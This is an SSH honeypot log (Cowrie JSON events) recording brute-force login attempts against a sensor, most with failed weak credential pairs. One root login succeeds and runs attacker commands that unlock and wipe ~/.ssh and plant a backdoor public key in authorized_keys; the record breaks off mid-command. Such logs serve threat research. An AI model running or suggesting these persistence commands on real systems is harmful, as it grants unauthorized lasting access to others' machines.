{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:46:17.711714Z","src_ip":"60.199.224.2","session":"8239453187e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:46:17.920693Z","src_ip":"60.199.224.2","session":"8239453187e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amit","password":"123","message":"login attempt [amit/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:46:18.791027Z","src_ip":"60.199.224.2","session":"8239453187e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:46:20.002946Z","src_ip":"60.199.224.2","session":"8239453187e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.196.10.253","src_port":50624,"dst_ip":"159.203.135.109","dst_port":22,"session":"f3cd731ef7ac","protocol":"ssh","message":"New connection: 185.196.10.253:50624 (159.203.135.109:22) [session: f3cd731ef7ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:46:33.142775Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:46:33.147439Z","src_ip":"185.196.10.253","session":"f3cd731ef7ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":60544,"dst_ip":"159.203.135.109","dst_port":22,"session":"1646dadee56f","protocol":"ssh","message":"New connection: 195.178.110.218:60544 (159.203.135.109:22) [session: 1646dadee56f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:46:33.237473Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:46:33.242566Z","src_ip":"195.178.110.218","session":"1646dadee56f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:46:33.261516Z","src_ip":"185.196.10.253","session":"f3cd731ef7ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:46:33.318018Z","src_ip":"195.178.110.218","session":"1646dadee56f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:46:33.543375Z","src_ip":"195.178.110.218","session":"1646dadee56f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"travis","password":"Travis123","message":"login attempt [travis/Travis123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:46:33.749123Z","src_ip":"185.196.10.253","session":"f3cd731ef7ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:46:34.620486Z","src_ip":"195.178.110.218","session":"1646dadee56f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:46:34.865042Z","src_ip":"185.196.10.253","session":"f3cd731ef7ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.245.201.162","src_port":48634,"dst_ip":"159.203.135.109","dst_port":22,"session":"c92630b19233","protocol":"ssh","message":"New connection: 201.245.201.162:48634 (159.203.135.109:22) [session: c92630b19233]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:46:51.417350Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:46:51.420530Z","src_ip":"201.245.201.162","session":"c92630b19233","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:46:51.506327Z","src_ip":"201.245.201.162","session":"c92630b19233","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uno85","password":"uno851234","message":"login attempt [uno85/uno851234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:46:51.885157Z","src_ip":"201.245.201.162","session":"c92630b19233","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:46:52.974529Z","src_ip":"201.245.201.162","session":"c92630b19233","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.117.56.152","src_port":41676,"dst_ip":"159.203.135.109","dst_port":22,"session":"e070d5b9311f","protocol":"ssh","message":"New connection: 103.117.56.152:41676 (159.203.135.109:22) [session: e070d5b9311f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:47:00.469826Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:47:00.475377Z","src_ip":"103.117.56.152","session":"e070d5b9311f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:47:00.714456Z","src_ip":"103.117.56.152","session":"e070d5b9311f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uno85","password":"uno851234","message":"login attempt [uno85/uno851234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:47:01.787678Z","src_ip":"103.117.56.152","session":"e070d5b9311f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:47:03.030200Z","src_ip":"103.117.56.152","session":"e070d5b9311f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.52.152.101","src_port":52936,"dst_ip":"159.203.135.109","dst_port":22,"session":"9169f4f0030d","protocol":"ssh","message":"New connection: 103.52.152.101:52936 (159.203.135.109:22) [session: 9169f4f0030d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:47:05.900658Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:47:05.905957Z","src_ip":"103.52.152.101","session":"9169f4f0030d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:47:06.113168Z","src_ip":"103.52.152.101","session":"9169f4f0030d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"superman","password":"1234","message":"login attempt [superman/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:47:06.966476Z","src_ip":"103.52.152.101","session":"9169f4f0030d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:47:08.176671Z","src_ip":"103.52.152.101","session":"9169f4f0030d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.26.135.100","src_port":35232,"dst_ip":"159.203.135.109","dst_port":22,"session":"d7240f4fa864","protocol":"ssh","message":"New connection: 20.26.135.100:35232 (159.203.135.109:22) [session: d7240f4fa864]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:47:09.127316Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:47:09.132390Z","src_ip":"20.26.135.100","session":"d7240f4fa864","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:47:09.219173Z","src_ip":"20.26.135.100","session":"d7240f4fa864","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vadim","password":"12345678","message":"login attempt [vadim/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:47:09.602179Z","src_ip":"20.26.135.100","session":"d7240f4fa864","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:47:10.700340Z","src_ip":"20.26.135.100","session":"d7240f4fa864","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.85.163.94","src_port":58474,"dst_ip":"159.203.135.109","dst_port":22,"session":"42790fbd7ec9","protocol":"ssh","message":"New connection: 34.85.163.94:58474 (159.203.135.109:22) [session: 42790fbd7ec9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:47:29.562359Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:47:29.566620Z","src_ip":"34.85.163.94","session":"42790fbd7ec9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:47:29.577359Z","src_ip":"34.85.163.94","session":"42790fbd7ec9","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"1q2w3e4r5t@","message":"login attempt [root/1q2w3e4r5t@] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:47:29.816067Z","src_ip":"34.85.163.94","session":"42790fbd7ec9","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:47:29.876600Z","src_ip":"34.85.163.94","session":"42790fbd7ec9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:47:29.880343Z","src_ip":"34.85.163.94","session":"42790fbd7ec9","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:47:29.884196Z","src_ip":"34.85.163.94","session":"42790fbd7ec9","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:47:30.051300Z","src_ip":"34.85.163.94","session":"42790fbd7ec9","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:47:30.110393Z","src_ip":"34.85.163.94","session":"42790fbd7ec9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd 